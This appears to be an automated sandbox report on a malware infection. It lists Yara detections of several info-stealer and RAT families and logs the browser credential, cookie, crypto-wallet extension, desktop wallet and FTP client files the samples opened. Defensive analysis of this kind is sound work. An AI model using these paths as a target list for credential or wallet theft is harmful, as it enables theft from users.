Source: Yara match	File source: 6.2.skotes.exe.5b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.skotes.exe.5b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.file.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.3093128842.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2508664537.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2451411708.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2508232351.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 8a32a8d958.exe PID: 5544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1de5b2f311.exe PID: 7532, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: ece32691cf.exe PID: 6268, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 8.0.87c402ca32.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.87c402ca32.exe.43d94e0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.87c402ca32.exe.4393198.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe, type: DROPPED

Yara detected SystemBC

Source: Yara match	File source: 24.2.Bestsoundeffectives.exe.3234478.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.3676371784.0000000003151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3676371784.0000000003570000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Bestsoundeffectives.exe PID: 7416, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match

File source: 8.2.87c402ca32.exe.4393198.2.raw.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 87c402ca32.exe, 00000009.00000002.3520088754.000000000132D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: X New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets
Source: 8a32a8d958.exe, 0000000D.00000003.3642841459.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 87c402ca32.exe, 00000009.00000002.3520088754.000000000132D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"
Source: 87c402ca32.exe, 00000009.00000002.3520088754.000000000132D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 1520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":["*"],"z":"Wal
Source: ece32691cf.exe, 00000017.00000002.3722379908.0000000000889000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 87c402ca32.exe, 00000009.00000002.3520088754.000000000132D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971520},{
Source: 87c402ca32.exe, 00000009.00000002.3520088754.000000000132D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%ap
Source: 8a32a8d958.exe, 0000000D.00000003.3542205722.0000000001512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Baursystempower.exe, 00000007.00000002.3353221142.00000000053C0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
